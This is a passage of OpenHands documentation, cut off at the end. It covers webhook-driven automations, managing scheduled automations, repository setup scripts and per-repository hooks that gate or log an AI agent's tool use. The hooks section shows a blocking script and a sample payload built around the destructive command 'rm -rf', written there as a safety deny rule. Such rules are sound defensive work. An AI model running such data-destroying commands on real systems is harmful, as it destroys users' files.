in the sidebar -2. Go to **Organization Settings** -3. In the **Git Conversation Routing** section, find your GitHub org -4. Click **Claim** - -You must be an **Owner** of the OpenHands team org and have **admin access** to the GitHub org to complete the claim. See [Claiming Git Organizations](/openhands/usage/cloud/organizations/settings#claiming-git-organizations) for full details. - - -Each GitHub organization can only be claimed by one OpenHands team org. If another team has already claimed it, coordinate with them or contact support. - - -### 4. Create the Automation Under the Team Org - -Make sure you are switched to the **team org** (not your personal org) when creating the automation. The automation must live in the same org that claimed the GitHub organization — otherwise events won't match. - -### 5. (Optional) Add Service Accounts to the Team Org - -If you're using a service account (like a bot account) to create or own automations, that account must be a **member of the team org**. Invite them from the [Organization Members](/openhands/usage/cloud/organizations/managing-members) page. - -### Troubleshooting - -If your automation doesn't trigger on GitHub events: - - - - The OpenHands GitHub App must be installed on the GitHub organization that owns your repositories. Go to [GitHub integration settings](/openhands/usage/cloud/github-installation) and verify it is installed with access to the relevant repos. Without this, no webhook events are sent to OpenHands. - - - The most common cause. Go to **Organization Settings → Git Conversation Routing** and check if your GitHub org shows as claimed. If not, click **Claim**. See [Claiming Git Organizations](/openhands/usage/cloud/organizations/settings#claiming-git-organizations). - - - GitHub events for org repos are routed to the **team org** that claimed the GitHub org. If you created the automation under your personal org, events will never reach it. Switch to the team org and recreate the automation. - - - Double-check that the event type (e.g., `pull_request.labeled`) and filter expression match the action you're testing. Use wildcards like `pull_request.*` to match all actions during debugging. - - - Verify the automation is enabled. You can check via the automations list or by asking OpenHands to list your automations. - - - ---- - -## Built-In vs. Custom Integrations - -| Type | Setup | Best For | -|------|-------|----------| -| **Built-in (GitHub)** | One-time org setup ([see above](#prerequisites-for-github-event-automations)), then create the automation | PR reviews, issue triage, push-triggered tasks | -| **Custom Webhooks** | Register webhook first, then create automation | Linear, Stripe, Slack, and other services | - -## GitHub Events (Built-In) - -GitHub is a built-in integration. Create automations that respond to GitHub events without any webhook setup. - -### Example: Auto-Review PRs with a Specific Label - -When a PR is labeled with `openhands`, automatically review it: - -``` -Create an event-based automation called "Auto Review PRs" that triggers -when a pull request is labeled with "openhands" in any of my repos. - -It should review the PR for code quality and best practices, then post -the review as a comment. -``` - -The agent will create an automation with: -- **Trigger type**: `event` -- **Source**: `github` -- **Event**: `pull_request.labeled` -- **Filter**: Matches PRs labeled `openhands` - -### Example: Respond to @openhands Mentions - -``` -Create an automation that responds when someone mentions @openhands -in an issue comment. It should analyze the issue context and provide -a helpful response. -``` - -### Available GitHub Events - -| Event | Common Actions | Use Case | -|-------|---------------|----------| -| `pull_request` | `opened`, `labeled`, `synchronize`, `ready_for_review` | PR automation | -| `issues` | `opened`, `labeled`, `assigned` | Issue triage | -| `issue_comment` | `created` | Mention responses | -| `push` | — | Branch-based triggers | -| `release` | `published` | Release workflows | - -Use wildcards like `pull_request.*` to match all actions for an event type. - -### Filtering Events - -Filters let you narrow which events trigger your automation. They use [JMESPath expressions](https://jmespath.org/) to match fields in the event payload—so you can trigger only on specific labels, users, branches, or other conditions. - - -OpenHands extends standard JMESPath with custom functions including `icontains` (case-insensitive string match) and `glob` (wildcard path matching). It also supports `!` (negation), `&&` (AND), and `||` (OR) as boolean operators. These extensions are not part of the [JMESPath specification](https://jmespath.org/specification.html). - - -**Common filter patterns:** - -``` -contains(pull_request.labels[].name, 'openhands') - -icontains(comment.body, '@openhands') - -glob(repository.full_name, 'myorg/*') - -ref == 'refs/heads/main' - -glob(repository.full_name, 'myorg/*') && contains(pull_request.labels[].name, 'bug') -``` - -- `contains(...)` — match a specific label -- `icontains(...)` — case-insensitive mention in a comment body -- `glob(...)` — match repos in your org with wildcards -- `==` — exact match (e.g., push to main branch only) -- `&&` — combine multiple conditions - ---- - -## Custom Webhooks - -For services beyond GitHub—like Linear, Stripe, or Slack—register a custom webhook first, then create automations that use it. - - -**Two-phase workflow for custom webhooks:** - -1. **Webhook registration (one-time setup)**: You execute the curl command yourself to register the webhook. This keeps your signing secrets secure—the agent provides the command but never handles your credentials directly. - -2. **Automation creation (repeatable)**: Once the webhook is registered, the agent can create, update, and manage automations for that webhook source conversationally—no manual curl commands needed. - - -### Walkthrough: Linear Integration - - -This example walks through setting up a Linear webhook to auto-triage new issues using Automations in **[OpenHands Cloud](https://app.all-hands.dev)**. - - -#### Step 1: Get Your Webhook Secret from Linear - -Linear provides the webhook signing secret—you cannot configure your own. - -1. Go to **Linear Settings → API → Webhooks** -2. Click **New webhook** -3. Copy the **signing secret** that Linear displays (you'll need this in the next step) -4. Leave the webhook URL blank for now—you'll get it from OpenHands - -#### Step 2: Register the Webhook with OpenHands - -First, set up your environment variables: - -1. Create an OpenHands API key at [app.all-hands.dev/settings/api-keys](https://app.all-hands.dev/settings/api-keys) -2. Export the API key and the webhook secret from Step 1: - -```bash -export OPENHANDS_API_KEY="your-openhands-api-key" -export LINEAR_WEBHOOK_SECRET="your-linear-signing-secret-from-step-1" -``` - -Then run the following command to register the webhook: - -```bash -curl -X POST "https://app.all-hands.dev/api/automation/v1/webhooks" \ - -H "Authorization: Bearer ${OPENHANDS_API_KEY}" \ - -H "Content-Type: application/json" \ - -d '{ - "name": "Linear Issues", - "source": "linear", - "event_key_expr": "type", - "signature_header": "Linear-Signature", - "webhook_secret": "'"${LINEAR_WEBHOOK_SECRET}"'" - }' -``` - -The response includes a `webhook_url` that you'll configure in Linear. - - -The `event_key_expr` is a JMESPath expression that extracts the event type from incoming webhook payloads. This extracted value is what you match against in the automation's `on` field. - -For example, Linear sends payloads like: -```json -{"type": "Issue", "action": "create", "data": {...}} -``` - -With `event_key_expr: "type"`, the system extracts `"Issue"` as the event type. Then in your automation, you set `on: "Issue"` to match it. - - - -If you're integrating a service that lets you configure the signing secret (unlike Linear), you can omit `webhook_secret` from the request. The automation service will generate one and return it in the response—store it securely, as it's shown only once. - - -#### Step 3: Complete the Linear Webhook Configuration - -1. Return to the Linear webhook you started in Step 1 -2. Paste the `webhook_url` from the previous step -3. Select which events to send (e.g., Issues, Comments) -4. Save the webhook - -#### Step 4: Create the Automation - -Now the webhook is registered, the agent can create automations for you end-to-end. Just describe what you want: - -``` -Create an event-based automation called "Triage Linear Issues" that triggers -when a new issue is created in Linear. - -It should analyze the issue title and description, suggest appropriate labels, -and add a comment with initial triage notes. -``` - -The agent creates the automation with: -- **Source**: `linear` (your registered webhook) -- **Event**: `Issue` (Linear's event type) -- **Filter**: `action == 'create'` - -### Custom Webhook Parameters - -When registering any custom webhook, these parameters define how OpenHands processes incoming events: - -| Parameter | Required | Description | -|-----------|----------|-------------| -| `name` | Yes | Human-readable name | -| `source` | Yes | Unique identifier (lowercase, alphanumeric with hyphens) | -| `event_key_expr` | No | JMESPath to extract event type (default: `type`) | -| `signature_header` | No | Header containing HMAC signature (default: `X-Signature-256`) | -| `webhook_secret` | No | Signing secret—provide yours or let the system generate one | - -### Common Services - -These are example configurations for popular services. **Always verify with each service's webhook documentation**, as signature headers and payload formats may change. - -| Service | Signature Header | Event Key | Notes | -|---------|-----------------|-----------|-------| -| Linear | `Linear-Signature` | `type` | | -| Stripe | `Stripe-Signature` | `type` | Uses a custom `t=timestamp,v1=signature` format — verify compatibility | -| Slack | `X-Slack-Signature` | `type` | | -| Twilio | `X-Twilio-Signature` | `type` | Uses HMAC-SHA1 of request URL + params — verify compatibility | - ---- - -## Next Steps - -New to automations? Start with the [Automations Overview](/openhands/usage/automations/overview) for the bigger picture, including cron-based scheduling and general concepts. - -- [Automations Overview](/openhands/usage/automations/overview) — Cron-based automations and general concepts -- [Managing Automations](/openhands/usage/automations/managing-automations) — Update, disable, or delete automations - -### Managing Automations -Source: https://docs.openhands.dev/openhands/usage/automations/managing-automations.md - -You can manage your automations by asking OpenHands directly—just like you created them. - -## Viewing Your Automations - -``` -List my automations -``` - -``` -Show me the details of the "Daily Report" automation -``` - -## Enabling and Disabling - -Pause an automation without deleting it: - -``` -Disable the "Daily Report" automation -``` - -Turn it back on: - -``` -Enable the "Daily Report" automation -``` - - -Disabling an automation keeps all its settings intact. Use this when you want to temporarily stop runs without losing your configuration. - - -## Changing the Schedule - -``` -Change the "Daily Report" automation to run at 10 AM instead of 9 AM -``` - -``` -Update the "Weekly Cleanup" automation to run on Sundays at 2 AM UTC -``` - -## Changing the Run Timeout - -``` -Set the "Weekly Cleanup" automation timeout to 20 minutes -``` - -The maximum timeout depends on your deployment. Runs that exceed their timeout fail automatically. - -## Running Manually - -Test an automation or run it outside its normal schedule: - -``` -Trigger the "Daily Report" automation now -``` - -``` -Run the "Health Check" automation immediately -``` - -This is useful for: -- Testing a newly created automation -- Running a report on-demand -- Debugging issues - -## Viewing Past Runs - -``` -Show me recent runs of the "Daily Report" automation -``` - -Each run creates a conversation that automatically appears in your conversations list. You can: -- **View in the OpenHands UI** to see what happened -- **Continue** if you want to interact with the sandbox -- **Debug** if something went wrong - -In an automation's `Activity Log`, use `Export JSON` or `Export CSV` to download its complete run history. - - -Automations are user-scoped, so all your automation runs appear alongside your regular conversations. Look for them in your conversations list after each scheduled run. - - -### Run Statuses - -- **Pending**: Scheduled, waiting to start -- **Running**: Currently executing -- **Completed**: Finished successfully -- **Failed**: Something went wrong—check the run details - -## Deleting Automations - -``` -Delete the "Old Report" automation -``` - - -Deleting an automation is permanent. Consider disabling it instead if you might need it later. - - -## Next Steps - -- [Automations overview & examples](/openhands/usage/automations/overview) -- [Create new automations](/openhands/usage/automations/creating-automations) - -### Automations Overview -Source: https://docs.openhands.dev/openhands/usage/automations/overview.md - -Automations let you schedule AI-powered tasks that run automatically—daily reports, health checks, data syncs, and more. Each automation runs a full OpenHands conversation on your chosen schedule, with access to your LLM settings, stored secrets, and integrations. - -Your git provider credentials are automatically available—if you logged into OpenHands with GitHub, GitLab, or Bitbucket, that access is included by default. - -## What Can Automations Do? - -- **Generate reports**: Daily standups, weekly summaries, or monthly metrics -- **Monitor systems**: Check API health, SSL certificates, or uptime -- **Sync data**: Pull from external APIs, update spreadsheets, or refresh dashboards -- **Maintain code**: Run dependency checks, security scans, or cleanup tasks -- **Send notifications**: Post updates to Slack, create GitHub issues, or send alerts - - -Automations can only interact with services you've configured access to. For example, posting to Slack requires the [Slack MCP integration](/openhands/usage/settings/mcp-settings). Git providers you logged in with (GitHub, GitLab, Bitbucket) are automatically available. - - -## Two Types of Automations - -When you ask OpenHands to create an automation, you can choose between: - -- **Prompt-based** (most common): Describe what the automation should do in natural language. Great for reports, monitoring, data syncs, and most tasks. - -- **Plugin-based**: Include one or more plugins that provide additional skills or capabilities. Use this when you need specialized tools from the [OpenHands extensions repository](https://github.com/OpenHands/extensions). - -Both types are created the same way—just describe what you want and OpenHands will guide you through the setup. - -## Creating Your First Automation - -Just ask OpenHands to create one: - -``` -Create an automation that runs every Monday at 9 AM and summarizes -our open GitHub issues, then posts the summary to #engineering on Slack. -``` - -For plugin-based automations, mention the plugin: - -``` -Create an automation using the code-review plugin that runs daily -and reviews any Python files changed in the last 24 hours. -``` - -The Automation Skill guides you through: -1. Naming your automation -2. Setting the schedule -3. Choosing a timezone -4. Confirming the task description (and plugins, if any) - -That's it—the system handles the rest. - -## How It Works - -When your automation runs: -1. A fresh sandbox is created -2. The OpenHands agent executes your prompt -3. The conversation is saved so you can review it later -4. You can even continue the conversation if needed - -Automations are user-scoped—each automation and its runs belong to you. Conversations created by your automations automatically appear in your conversations list, just like any other conversation you start. - -Your automation has access to everything a normal OpenHands conversation does: terminal, file editing, your configured LLM, stored secrets, and MCP integrations. Git provider tokens from your login (GitHub, GitLab, or Bitbucket) are automatically included. - -## Getting Started - -**Prerequisites** - -- **Configured LLM** in your settings -- **Stored secrets** (optional) for any additional API keys your automations need (e.g., Slack tokens) - -Open a new conversation in OpenHands and ask it to create an automation: - -``` -Create an automation that runs every Monday at 9 AM and summarizes -our open GitHub issues, then posts to #engineering on Slack. -``` - -Once you create an automation, you can view them by clicking on the "Automations" icon on the left-hand navigation. - -You can also ask OpenHands to list [existing automations, enable/disable them, or trigger manual runs](/openhands/usage/automations/managing-automations). - - - ---- - -## Use Case Automations - -{/* BEGIN:use-case-automations — auto-generated from use-case frontmatter */} - -Each use case has a ready-to-use automation prompt. Click a card to see the full instructions. - - - - Review open PRs daily for bugs, style issues, and security concerns. - - - Check for outdated packages weekly and report available updates. - - - Monitor API health, analyze errors, and alert your team automatically. - - - Functionally test PR changes by exercising the software as a real user would. - - - Scan dependencies for known CVEs, find hardcoded secrets, and alert your team on a schedule. - - - -{/* END:use-case-automations */} - -## General Automations - -Ready-to-use templates for common operational tasks. - - - - Summarize PRs opened, merged, and reviewed daily. - - - Generate weekly GitHub activity and issue reports. - - - Check SSL expiry dates and alert before they lapse. - - - Remove stale temporary files and report what was cleaned. - - - Verify database backups exist and are recent. - - - Pull analytics data periodically and flag big changes. - - - -### Daily GitHub Summary - -``` -Create an automation called "Daily GitHub Summary" that runs every weekday at 9 AM Eastern. - -It should: -1. Summarize PRs opened, merged, and reviewed in the last 24 hours -2. List any PRs that have been open for more than 3 days -3. Format as a clean markdown summary -4. Post to the #engineering Slack channel -``` - -### Weekly Metrics Report - -``` -Create an automation called "Weekly Metrics" that runs every Monday at 9 AM. - -It should generate a weekly report covering: -- GitHub activity (commits, PRs merged, issues closed) -- Open issues grouped by priority -- PRs awaiting review for more than 3 days - -Save the report to weekly-reports/ with the current date in the filename. -``` - -### SSL Certificate Monitor - -``` -Create an automation called "SSL Monitor" that runs daily at 8 AM. - -It should check SSL certificate expiry for these domains: -- api.example.com -- app.example.com -- www.example.com - -If any certificate expires within 30 days, alert #devops with the domain and days remaining. -``` - -### Weekly Cleanup - -``` -Create an automation called "Weekly Cleanup" that runs every Sunday at 2 AM UTC. - -It should: -1. Find and delete temporary files older than 7 days -2. Create a summary of what was removed (file paths and sizes) -3. Post the cleanup summary to #ops -``` - -### Backup Verification - -``` -Create an automation called "Backup Check" that runs daily at 6 AM. - -It should verify that database backups exist and were created within the last 24 hours. -List the most recent backup for each database with its timestamp and size. -If any backup is missing or stale, send an urgent alert to #alerts. -``` - -### Analytics Data Sync - -``` -Create an automation called "Analytics Sync" that runs every 6 hours. - -It should: -1. Pull the latest data from our analytics API -2. Update metrics.json with the new data -3. Calculate week-over-week changes for key metrics -4. If any metric changed by more than 20%, flag it in a summary message -``` - ---- - -## Tips for Writing Good Prompts - - - - Tell the automation exactly what to do: - - "Check X and if Y, then Z" - - "Generate a report and save it to..." - - "Fetch data, compare with expected values, and report differences" - - - Specify what should happen when things go wrong: - - "If the response is not 200..." - - "If any backup is missing..." - - "If the check fails, alert the team" - - - Be explicit about outputs: - - "Post to the #channel Slack channel" - - "Save to reports/ with the current date" - - "Create a GitHub issue with the findings" - - - -## Next Steps - -- [Creating Automations](/openhands/usage/automations/creating-automations) — More details on writing prompts -- [Managing Automations](/openhands/usage/automations/managing-automations) — Update, disable, or delete automations -- [Use Cases Overview](/openhands/usage/use-cases/overview) — Explore the full use case guides behind these automations - -### Hooks -Source: https://docs.openhands.dev/openhands/usage/customization/hooks.md - -## Overview - -Hooks let you run custom shell scripts at key moments during an OpenHands session. They are configured per-repository -via a `.openhands/hooks.json` file and work across **Cloud**, **CLI**, and **local GUI** setups. The hooks format is -compatible with [Claude Code hooks](https://code.claude.com/docs/en/hooks), so you can reuse hook scripts across both tools. - -Common use cases include: -- **Blocking dangerous commands** before execution (e.g., preventing `rm -rf /`) -- **Enforcing quality gates** before the agent finishes (e.g., requiring linting or tests to pass) -- **Logging and auditing** tool usage for compliance -- **Injecting context** into user prompts (e.g., appending git status) - -## Hook Types - -| Hook | When It Runs | Can Block? | -|------|-------------|------------| -| `PreToolUse` | Before the agent executes a tool | Yes | -| `PostToolUse` | After a tool finishes executing | No | -| `UserPromptSubmit` | Before a user message is processed | Yes | -| `Stop` | When the agent tries to finish | Yes | -| `SessionStart` | When a conversation begins | No | -| `SessionEnd` | When a conversation ends | No | - -**Blocking** means the hook can prevent the operation from proceeding. For example, a `Stop` hook can force the agent -to keep working if linting checks haven't passed yet. Note that hooks with `"async": true` run in the background and -can never block, regardless of event type. - -## Quick Start - - - - ### Create the Hooks Directory - - In your repository root, create the `.openhands` directory if it doesn't already exist: - - ```bash - mkdir -p .openhands/hooks - ``` - - - ### Write a Hook Script - - Create a shell script for your hook. For example, a Stop hook that requires linting to pass before the agent can finish: - - ```bash .openhands/hooks/lint_check.sh - #!/bin/bash - # Stop hook: Don't let the agent stop if linting fails - - cd "$OPENHANDS_PROJECT_DIR" - - # Run your linter - if ! npm run lint 2>&1; then - echo '{"decision": "deny", "reason": "Linting failed. Please fix the issues before finishing."}' - exit 2 - fi - - exit 0 - ``` - - Make the script executable: - - ```bash - chmod +x .openhands/hooks/lint_check.sh - ``` - - - ### Create `hooks.json` - - Create `.openhands/hooks.json` to register your hooks: - - ```json .openhands/hooks.json - { - "stop": [ - { - "matcher": "*", - "hooks": [ - { - "command": ".openhands/hooks/lint_check.sh", - "timeout": 120 - } - ] - } - ] - } - ``` - - - ### Commit to Your Repository - - ```bash - git add .openhands/hooks.json .openhands/hooks/ - git commit -m "Add OpenHands hooks" - ``` - - The next time OpenHands works on your repository, the hooks will be active automatically. - - - -## Configuration Reference - -### `hooks.json` Format - -The `.openhands/hooks.json` file maps hook event types to matchers and commands using `snake_case` keys: - -```json -{ - "pre_tool_use": [ - { - "matcher": "terminal", - "hooks": [ - { "command": ".openhands/hooks/block_dangerous.sh", "timeout": 10 } - ] - } - ], - "stop": [ - { - "matcher": "*", - "hooks": [ - { "command": ".openhands/hooks/require_tests.sh", "timeout": 120 } - ] - } - ] -} -``` - -### Claude Code Compatibility - -The hooks format is compatible with [Claude Code hooks](https://code.claude.com/docs/en/hooks). PascalCase event -keys (e.g., `PreToolUse`) and the `{"hooks": {...}}` wrapper are both supported, so you can share hook scripts -between the two tools. The main differences are the file location (`.openhands/hooks.json` vs `.claude/settings.json`) -and tool names (e.g., `terminal` vs `Bash`). - -### Hook Definition Fields - -| Field | Type | Default | Description | -|-------|------|---------|-------------| -| `type` | string | `"command"` | Hook type (currently only `"command"` is supported) | -| `command` | string | *(required)* | Shell command or path to script to execute | -| `timeout` | integer | `60` | Maximum execution time in seconds | -| `async` | boolean | `false` | Run in background without waiting for result | - -### Matcher Patterns - -The `matcher` field determines which tools trigger the hook (only relevant for `PreToolUse` and `PostToolUse`): - -| Pattern | Description | Example | -|---------|-------------|---------| -| `*` | Matches all tools | `"matcher": "*"` | -| Exact name | Matches a specific tool | `"matcher": "terminal"` | -| Regex | Auto-detected or wrapped in `/` | `"matcher": "/terminal\|browser/"` | - -For hooks that aren't tool-specific (`Stop`, `UserPromptSubmit`, `SessionStart`, `SessionEnd`), set the matcher to `"*"` or omit it. - -## How Hook Scripts Work - -### Input - -Hook scripts receive a JSON payload on **stdin** with details about the event: - -```json -{ - "event_type": "PreToolUse", - "tool_name": "terminal", - "tool_input": { "command": "rm -rf /tmp/data" }, - "session_id": "abc-123", - "working_dir": "/workspace" -} -``` - - -Additional fields may be present depending on the hook event type (e.g., `tool_response` for PostToolUse, `message` for UserPromptSubmit). - - -The following **environment variables** are also set: - -| Variable | Description | -|----------|-------------| -| `OPENHANDS_EVENT_TYPE` | The hook event type (e.g., `PreToolUse`) | -| `OPENHANDS_TOOL_NAME` | The tool being used (for tool hooks) | -| `OPENHANDS_PROJECT_DIR` | The project working directory | -| `OPENHANDS_SESSION_ID` | The current session ID | - -### Output - -Hook scripts communicate results through **exit codes** and optional **JSON on stdout**: - -**Exit codes:** -- `0` - Success. The operation proceeds normally. -- `2` - Block. The operation is denied. -- Any other code - Error. The operation proceeds, but the error is logged. - -**JSON output (optional):** - -```json -{ - "decision": "deny", - "reason": "rm -rf commands are blocked for safety", - "additionalContext": "Extra context to pass to the agent" -} -``` - -| Field | Description | -|-------|-------------| -| `decision` | `"allow"` or `"deny"` - overrides the exit code | -| `reason` | Human-readable explanation shown in the UI | -| `additionalContext` | Additional context injected into the agent's prompt | - -## Real-World Example - -The OpenHands Agent SDK repository uses a Stop hook that runs pre-commit checks, targeted pytest suites, and GitHub CI -status verification before allowing the agent to finish: - -- [`.openhands/hooks.json`](https://github.com/OpenHands/software-agent-sdk/blob/main/.openhands/hooks.json) - hook configuration -- [`.openhands/hooks/on_stop.sh`](https://github.com/OpenHands/software-agent-sdk/blob/main/.openhands/hooks/on_stop.sh) - the stop hook script - -This hook setup prevents the agent from finishing if pre-commit, tests, or CI are failing. - -## More Examples - -### Block Dangerous Commands (PreToolUse) - -Prevent the agent from running destructive shell commands: - -```bash .openhands/hooks/block_dangerous.sh -#!/bin/bash -# Read JSON input from stdin -input=$(cat) -command=$(echo "$input" | jq -r '.tool_input.command // ""') - -if [[ "$command" =~ "rm -rf" ]]; then - echo '{"decision": "deny", "reason": "rm -rf commands are blocked for safety"}' - exit 2 -fi - -exit 0 -``` - -```json .openhands/hooks.json -{ - "pre_tool_use": [ - { - "matcher": "terminal", - "hooks": [{ "command": ".openhands/hooks/block_dangerous.sh", "timeout": 10 }] - } - ] -} -``` - -### Enforce Linting Before Stop - -Don't let the agent finish until linting passes - this is what prevents linting errors from being committed: - -```bash .openhands/hooks/lint_on_stop.sh -#!/bin/bash -cd "$OPENHANDS_PROJECT_DIR" - -# Run pre-commit or your linter -if ! pre-commit run --all-files 2>&1; then - echo '{"decision": "deny", "reason": "Linting failed. Fix the issues before finishing."}' - exit 2 -fi - -exit 0 -``` - -```json .openhands/hooks.json -{ - "stop": [ - { - "matcher": "*", - "hooks": [{ "command": ".openhands/hooks/lint_on_stop.sh", "timeout": 120 }] - } - ] -} -``` - -### Log All Tool Usage (PostToolUse) - -Log every tool the agent uses for auditing: - -```bash .openhands/hooks/log_tools.sh -#!/bin/bash -echo "[$(date)] Tool: $OPENHANDS_TOOL_NAME" >> /tmp/tool_usage.log -exit 0 -``` - -```json .openhands/hooks.json -{ - "post_tool_use": [ - { - "matcher": "*", - "hooks": [{ "command": ".openhands/hooks/log_tools.sh", "timeout": 5 }] - } - ] -} -``` - -### Inject Git Context (UserPromptSubmit) - -Automatically include git status when the user asks about code changes: - -```bash .openhands/hooks/inject_git_context.sh -#!/bin/bash -input=$(cat) - -if echo "$input" | grep -qiE "(changes|diff|git|commit|modified)"; then - if git rev-parse --git-dir > /dev/null 2>&1; then - status=$(git status --short 2>/dev/null | head -10) - if [ -n "$status" ]; then - escaped=$(echo "$status" | sed 's/"/\\"/g' | tr '\n' ' ') - echo "{\"additionalContext\": \"Current git status: $escaped\"}" - fi - fi -fi - -exit 0 -``` - -### Combine Multiple Hooks - -You can configure multiple hook types and multiple hooks per event: - -```json .openhands/hooks.json -{ - "pre_tool_use": [ - { - "matcher": "terminal", - "hooks": [ - { "command": ".openhands/hooks/block_dangerous.sh", "timeout": 10 } - ] - } - ], - "post_tool_use": [ - { - "matcher": "*", - "hooks": [ - { "command": ".openhands/hooks/log_tools.sh", "timeout": 5, "async": true } - ] - } - ], - "stop": [ - { - "matcher": "*", - "hooks": [ - { "command": ".openhands/hooks/lint_on_stop.sh", "timeout": 120 } - ] - } - ] -} -``` - -## Viewing Active Hooks - - - - Use the `/skills` command in the CLI to see loaded skills, hooks, and MCPs for the current session. - - - Active hooks are loaded automatically when a conversation starts. Hook execution events appear in the - conversation log, showing whether each hook allowed or blocked an operation. - - - -## Tips - -- **Keep hooks fast.** Hooks run synchronously (unless marked `async`) and add latency to agent actions. - Use reasonable timeouts. -- **Use `jq` for JSON parsing.** Hook scripts receive JSON input on stdin. The `jq` tool is available in the - sandbox for parsing fields like `tool_input.command`. -- **Use environment variables for simple hooks.** For PostToolUse hooks that only need the tool name, - `$OPENHANDS_TOOL_NAME` avoids the need for JSON parsing. -- **Test hooks locally.** You can test hook scripts by piping JSON to them: - ```bash - echo '{"event_type":"Stop"}' | bash .openhands/hooks/lint_on_stop.sh - echo "Exit code: $?" - ``` -- **Async hooks can't block.** Hooks with `"async": true` run in the background and cannot block operations. - Use async for logging or telemetry, not for enforcement. - -## See Also - -- [Repository Customization](/openhands/usage/customization/repository) - Setup scripts and repository-specific hooks -- [Skills](/overview/skills) - Extend agent behavior with prompt-based skills -- [Hooks (SDK Guide)](/sdk/guides/hooks) - Programmatic hooks for SDK developers - -### Repository Customization -Source: https://docs.openhands.dev/openhands/usage/customization/repository.md - -## Skills (formerly Microagents) - -Skills allow you to extend OpenHands prompts with information specific to your project and define how OpenHands -should function. See [Skills Overview](/overview/skills) for more information. - - -## Setup Script -You can add a `.openhands/setup.sh` file, which will run every time OpenHands begins working with your repository. -This is an ideal location for installing dependencies, setting environment variables, and performing other setup tasks. - -For example: -```bash -#!/bin/bash -export MY_ENV_VAR="my value" -sudo apt-get update -sudo apt-get install -y lsof -cd frontend && npm install ; cd .. -``` - -## Hooks - -You can add a `.openhands/hooks.json` file to run custom shell scripts at key moments during agent execution — such as -blocking dangerous commands, enforcing linting before the agent finishes, or logging tool usage. - -See the dedicated [Hooks](/openhands/usage/customization/hooks) page for the full guide. - -## Repository-Specific Stop Hooks - -For repository-specific quality gates, use a [Stop hook](/openhands/usage/customization/hooks) in `.openhands/hooks.json`. -Stop hooks run when OpenHands tries to finish a task and can block completion until formatting, linting, tests, or other -repo-specific checks pass. They work across current agent-server-backed OpenHands flows. - -For example, create `.openhands/hooks/quality_gate.sh`: - -```bash .openhands/hooks/quality_gate.sh -#!/bin/bash -cd "${OPENHANDS_PROJECT_DIR:-$PWD}" - -# Replace this with your repo's checks, such as npm run lint, pytest, or make test. -if ! make test 2>&1; then - echo '{"decision":"deny","reason":"Quality checks failed. Fix them before finishing."}' - exit 2 -fi - -exit 0 -``` - -Then register it in `.openhands/hooks.json`: - -```json .openhands/hooks.json -{ - "stop": [ - { - "matcher": "*", - "hooks": [ - { "command": ".openhands/hooks/quality_gate.sh", "timeout": 120 } - ] - } - ] -} -``` - -If you currently use `.openhands/pre-commit.sh`, migrate those checks to Stop hooks when you want quality gates to apply -to current agent-server-backed OpenHands flows. Move the check commands into a Stop hook script like the one above. See the -[Hooks](/openhands/usage/customization/hooks) guide for complete behavior and JSON response details. - -### Debugging -Source: https://docs.openhands.dev/openhands/usage/developers/debugging.md - -The following is intended as a primer on debugging OpenHands for Development purposes. - -## Server / VSCode - -The following `launch.json` will allow debugging the agent, controller and server elements, but not the sandbox (Which runs inside docker). It will ignore any changes inside the `workspace/` directory: - -``` -{ - "version": "0.2.0", - "configurations": [ - { - "name": "OpenHands CLI", - "type": "debugpy", - "request": "launch", - "module": "openhands.cli.main", - "justMyCode": false - }, - { - "name": "OpenHands WebApp", - "type": "debugpy", - "request": "launch", - "module": "uvicorn", - "args": [ - "openhands.server.listen:app", - "--reload", - "--reload-exclude", - "${workspaceFolder}/workspace", - "--port", - "3000" - ], - "justMyCode": false - } - ] -} -``` - -More specific debugging configurations which include more parameters may be specified: - -``` - ... - { - "name": "Debug CodeAct", - "type": "debugpy", - "request": "launch", - "module": "openhands.core.main", - "args": [ - "-t", - "Ask me what your task is.", - "-d", - "${workspaceFolder}/workspace", - "-c", - "CodeActAgent", - "-l", - "llm.o1", - "-n", - "prompts" - ], - "justMyCode": false - } - ... -``` - -Values in the snippet above can be updated such that: - - * *t*: the task - * *d*: the openhands workspace directory - * *c*: the agent - * *l*: the LLM config (pre-defined in config.toml) - * *n*: session name (e.g. eventstream name) - -### Development Overview -Source: https://docs.openhands.dev/openhands/usage/developers/development-overview.md - -## Core Documentation - -### Project Fundamentals -- **Main Project Overview** (`/README.md`) - The primary entry point for understanding OpenHands, including features and basic setup instructions. - -- **Development Guide** (`/Development.md`) - Guide for developers working on OpenHands, including setup, requirements, and development workflows. - -- **Contributing Guidelines** (`/CONTRIBUTING.md`) - Essential information for contributors, covering code style, PR process, and contribution workflows. - -### Component Documentation - -#### Frontend -- **Frontend Application** (`/frontend/README.md`) - Complete guide for setting up and developing the React-based frontend application. - -#### Backend -- **Backend Implementation** (`/openhands/README.md`) - Detailed documentation of the Python backend implementation and architecture. - -- **Server Documentation** (`/openhands/server/README.md`) - Server implementation details, API documentation, and service architecture. - -- **Runtime Environment** (`/openhands/runtime/README.md`) - Documentation covering the runtime environment, execution model, and runtime configurations. - -#### Infrastructure -- **Container Documentation** (`/containers/README.md`) - Information about Docker containers, deployment strategies, and container management. - -### Testing and Evaluation -- **Unit Testing Guide** (`/tests/unit/README.md`) - Instructions for writing, running, and maintaining unit tests. - -- **Evaluation Framework** (`/evaluation/README.md`) - Documentation for the evaluation framework, benchmarks, and performance testing. - -### Advanced Features -- **Skills (formerly Microagents) Architecture** (`/skills/README.md`) - Detailed information about the skills architecture, implementation, and usage. - -### Documentation Standards -- **Documentation Style Guide** (`/docs/DOC_STYLE_GUIDE.md`) - Standards and guidelines for writing and maintaining project documentation. - -## Getting Started with Development - -If you're new to developing with OpenHands, we recommend following this sequence: - -1. Start with the main `README.md` to understand the project's purpose and features -2. Review the `CONTRIBUTING.md` guidelines if you plan to contribute -3. Follow the setup instructions in `Development.md` -4. Dive into specific component documentation based on your area of interest: - - Frontend developers should focus on `/frontend/README.md` - - Backend developers should start with `/openhands/README.md` - - Infrastructure work should begin with `/containers/README.md` - -## Documentation Updates - -When making changes to the codebase, please ensure that: -1. Relevant documentation is updated to reflect your changes -2. New features are documented in the appropriate README files -3. Any API changes are reflected in the server documentation -4. Documentation follows the style guide in `/docs/DOC_STYLE_GUIDE.md` - -### Evaluation Harness -Source: https://docs.openhands.dev/openhands/usage/developers/evaluation-harness.md - -This guide provides an overview of how to integrate your own evaluation benchmark into the OpenHands framework. - -## Setup Environment and LLM Configuration - -Please follow instructions [here](https://github.com/OpenHands/OpenHands/blob/main/Development.md) to setup your local development environment. -OpenHands in development mode uses `config.toml` to keep track of most configurations. - -Here's an example configuration file you can use to define and use multiple LLMs: - -```toml 